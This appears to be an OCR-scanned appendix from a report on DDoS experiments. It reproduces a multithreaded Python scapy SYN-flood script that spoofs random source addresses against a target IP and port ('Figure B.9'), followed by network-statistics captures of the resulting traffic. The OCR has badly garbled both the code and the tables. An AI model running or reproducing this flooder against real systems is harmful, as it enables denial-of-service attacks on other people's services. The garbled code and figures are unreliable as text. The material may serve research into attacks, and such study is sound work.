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#! /usr/bin/env python

#

# synflood - A multithr
# author: arthurnn

#

#

eaded syN Flooder

import socket, random,
from scapy.all import *

if len(sys. argv) = 3:
print
sys.exit(l

target = sys.argv[i]
port = int(sys.argv[2])

total =
thread 'I'|rmt =2

conf.iface="enl";#netwol

sys, threading

rk card xp

class sendsyN(threading. Thread):
g'\nba'l target ﬁmr‘t
init_ (se
threading. Thread. _init__(self)
def run(self):
i=1rPQ)
i.src = "%i.%i.%i.%i"
randinct(l,254))
i.dst = target
T = TcP()
t.sport = random.randint(1,65535)
tT.dport = port
t.flags = 'S5’

send(i/t, verbose=0)

print
whi

"Flooding %s:%1 with syn packets.”

if threadi n%)actwecount() < thread_Timit:

sendsyN
total +=

start

SYs. stdout write("\rTotal packets sent:\t\tT\t¥%i

Statistics for etho

O

% (target,

port)

'Usage: %5 <Target IP> <Port>" % sys.argv[0]

% total)

Figure B.9: SYN DDoS Script

Flapsed cime:  0:00

Toral Total  Incowing Incoming  Outgoing outgoing
Packets __ pytes  Packers s  packets . Byted
Toral: 90114 53050442 209769 52897191 35 askess
Eh 10114 3150846 100769  S13sazs 33 1321
e o o
et 100725 51342408 109706 51342408 o 0
Towp 385 157546 4 125 H5 152
other 17! (] 1 o 1 o o
on-1 o o o
Total rates 15376. 5 Kbits/se: Broadcast packets: o
S I Bromscant byves: 3
Incoming rates:  13335.1 Kbits/sec
3578.2 packets/sec
20 checksum errors: o
outgoing rates 414 kbits/sec
114 packets/sec
Elapsed time:  0:00
PN
Statistics for eth:
loal  oral  mmcowing mncowing  outgoing  ourgoing
Packets  Bytes Packets | Bytes  racker: Byres
Toral: ] o ] ]
3 0 0 0 0 8 0
Tee: o ] o H 0 H
o o 0 0 0 0 0
Towp 0 0 0 0 0 0
other 1p: 0 0 0 0 o 0
Non- 191 o o o 0 o 0
Total rates 0.0 kbits/sec oadcast packets o
SO pelelsee  BadEn H
Incoming rates: 0:8 Koixarsec
010 packets/sec
o 20 checksum errors: o
outgoing rates 0.0 kbits /sec
0.0 packeta/sec

Statistics for eth

(random. randint(1,254),random.randint(1,254),random. randint(1,254),random.

Toral  Incoming
Byt Packets
o

Total rates its/sec

ekedaSe

packets,sec

0.0 1
0.0 p

Incoming rates 0.0 kbits/sec
.0
0.0
0.0

outgoing rates Kbits/sec

packets,sec

oucgoing

Incoming outgoing
Bytes  Packer: Byres
o o

oadcast packets:
Srondcast byves:

2p checksun errors.

| Elapsed cine:  0:00

Statistics for etht

Toral  Toral
Packets Byt
]

Towe:
other 1p:
Non-1p'

Total rates
pack
Incoming rares: Kbits/sec

outgoing rates: Kbits/sec

packets/sec

0.0
i
0.0
0.0 packecs/sec
0.0
(23

Incoming
Packets
]

Tncoming  outgoing
Byres

outgoing
Packets . Bytes
o

rosscast packets
Sroadcast

¢ checksun errors

Elapsed time:  0:00
X e X et
Terat
Statistics for etho
~ Total  Incoming Incoming outgoing Total  Incoming Incoming  Outgoing outgoing
Packets yies packers s ) Ve Packets Padkets ' Bytes
rotal Seaao 17200058 Seoss 17237336 75 7 Saiei 1540798 o o
a0 16782572 082 1673288 So%sa Tassizs e Tiosios
e (] o
ton 36010 16727668 6003 16727318 2 159 14951232 s2a6 16051232
Towe 238 54508 7 s 165 s0z32 o o o
other 17 o o o o o 0 0 0
Non-ze’ o 3 3 H 13 ° 13 13 °
Toal rates 1566.3 kbie ceast packets o Total rates 1521.6 kbies/sec deast pckets
190.3 packetsisec  brosdeast byve 13 3577 packetajsec  droadcast byre:
Incoming rates: 15616 kbits/sec Inconing rates:  1521.6 kbi
305.8 packets/sec 35712 packes
" 1 checksun errors: o 17 checksun errors
outgoing rates 4.7 kbies/ses outgoing rates: 0.0 kbies/sec
R 210 packets/sec i 0.0 packets/sec
Elapsed tine:  0:01 Elapsed time:  0:01
- ext? et
Torrat Trrat
Statistics for eth: Statistics for etht
o Total  ncoming Incoming  outgoing  ougoin Toral  Toral  Incoming ncoming  outgoing  outgoine
eackets e Cracker el adlert OBy Packets  bytes packers | bytes nEmE Byres
GI4515  a06riex 41433 196700K e 1ha Si0026  seYak  sa0015  2sedver
Assls  I00IK 4143 190899k Te 117ss 530026  2s7ock 540019  2asroek
o o o o o ) 0 )
414149 10088k 41am8 1908876 sa0026 248796k 540019 248796K
e 23424 Tt 8 i 1o: o o o o
o o other 10 o 0 0 0
3 13 13 13 o o Non-1pt 13 13 13 0
Total rates: 4836.1 kbics/sec eroadcast packets 3 Toral rates: 5875.6 Kbits/sec eroadcast packets:
126215 packesjsec  broadcast byres: 278 155118 packecassec  oroadeast byves:
Incoming rates: 48361 kbits/sec Incoming rates:  5875.6 kbits/sec
12628 packets)sec 55118 packets/sec
1 checksum errors: o 19 checksun errors

outgoing rates: 0.0 kbits/sec

0.0 packets/sec

Elapsed time:  0:0

outgoing rates: 0.0 kbits/sec

010 packets/sec

Figure B.11: Result Hybrid DDoS Deployment
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